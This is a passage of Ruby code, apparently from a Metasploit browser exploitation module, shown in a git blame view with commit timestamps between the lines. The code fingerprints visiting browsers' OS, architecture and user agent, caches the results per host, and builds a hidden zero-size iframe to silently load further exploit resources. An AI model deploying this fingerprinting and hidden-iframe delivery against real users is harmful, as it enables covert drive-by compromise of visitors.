|
|
os_flavor = 'Ubuntu'
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
2008-07-22 07:28:05 +00:00
|
|
|
case (ua)
|
|
|
|
when /PPC/
|
|
|
|
arch = ARCH_PPC
|
|
|
|
when /i.86/
|
|
|
|
arch = ARCH_X86
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
2008-07-22 07:28:05 +00:00
|
|
|
|
|
|
|
print_status("Browser claims to be #{ua_name} #{ua_vers}, running on #{os_name} #{os_flavor}")
|
2008-07-01 01:44:56 +00:00
|
|
|
else
|
2008-07-22 07:28:05 +00:00
|
|
|
print_status("Recording detection from JavaScript")
|
|
|
|
data_offset += 'sessid='.length
|
|
|
|
detected_version = request.uri[data_offset, request.uri.length]
|
|
|
|
if (0 < detected_version.length)
|
|
|
|
detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version))
|
|
|
|
print_status("Report: #{detected_version}")
|
|
|
|
(os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_vers) = detected_version.split(':')
|
|
|
|
end
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
2008-07-22 07:28:05 +00:00
|
|
|
arch ||= ARCH_X86
|
|
|
|
|
|
|
|
report_host(
|
|
|
|
:host => cli.peerhost,
|
|
|
|
:os_name => os_name,
|
|
|
|
:os_flavor => os_flavor,
|
|
|
|
:os_sp => os_sp,
|
2008-09-01 05:19:28 +00:00
|
|
|
:os_lang => os_lang,
|
|
|
|
:arch => arch,
|
|
|
|
:ua_name => ua_name,
|
|
|
|
:ua_vers => ua_vers
|
2008-07-22 07:28:05 +00:00
|
|
|
)
|
|
|
|
report_note(
|
|
|
|
:host => cli.peerhost,
|
|
|
|
:type => 'http_request',
|
2008-09-01 05:19:28 +00:00
|
|
|
:data => "#{@myhost}:#{@myport} #{request.method} #{request.resource} #{os_name} #{ua_name} #{ua_vers}"
|
2008-07-22 07:28:05 +00:00
|
|
|
)
|
2008-07-01 01:44:56 +00:00
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
end
|
2008-09-01 05:19:28 +00:00
|
|
|
|
|
|
|
def report_host(opts)
|
|
|
|
|
|
|
|
@targetcache[opts[:host]][:os_name] = opts[:os_name]
|
|
|
|
@targetcache[opts[:host]][:os_flavor] = opts[:os_flavor]
|
|
|
|
@targetcache[opts[:host]][:os_sp] = opts[:os_sp]
|
|
|
|
@targetcache[opts[:host]][:os_lang] = opts[:os_lang]
|
|
|
|
@targetcache[opts[:host]][:arch] = opts[:arch]
|
|
|
|
@targetcache[opts[:host]][:ua_name] = opts[:ua_name]
|
|
|
|
@targetcache[opts[:host]][:ua_vers] = opts[:ua_vers]
|
|
|
|
|
|
|
|
super(opts)
|
|
|
|
end
|
2008-07-22 07:28:05 +00:00
|
|
|
|
|
|
|
# This or something like it should probably be added upstream in Msf::Exploit::Remote
|
|
|
|
def get_target_os(cli)
|
|
|
|
if framework.db.active
|
|
|
|
host = framework.db.get_host(nil, cli.peerhost)
|
|
|
|
res = host.os_name
|
2008-09-01 05:19:28 +00:00
|
|
|
elsif @targetcache[cli.peerhost] and @targetchace[cli.peerhost][:os_name]
|
2008-07-22 07:28:05 +00:00
|
|
|
res = @targetcache[cli.peerhost][:os_name]
|
|
|
|
else
|
|
|
|
res = OperatingSystems::UNKNOWN
|
|
|
|
end
|
|
|
|
return res
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
# This or something like it should probably be added upstream in Msf::Exploit::Remote
|
|
|
|
def get_target_arch(cli)
|
|
|
|
if framework.db.active
|
|
|
|
host = framework.db.get_host(nil, cli.peerhost)
|
|
|
|
res = host.arch
|
|
|
|
elsif @targetcache[cli.peerhost][:arch]
|
|
|
|
res = @targetcache[cli.peerhost][:arch]
|
|
|
|
else
|
|
|
|
res = ARCH_X86
|
|
|
|
end
|
|
|
|
return res
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
|
|
|
|
2008-07-22 07:28:05 +00:00
|
|
|
def build_iframe(resource)
|
2008-07-23 08:26:42 +00:00
|
|
|
ret = ''
|
|
|
|
ret << "<p>#{resource}</p>"
|
|
|
|
ret << "<iframe src=\"#{resource}\" style=\"visibility:hidden\" height=\"0\" width=\"0\" border=\"0\"></iframe>"
|
|
|
|
return ret
|
2008-07-22 07:28:05 +00:00
|
|
|
end
|
2008-07-01 01:44:56 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|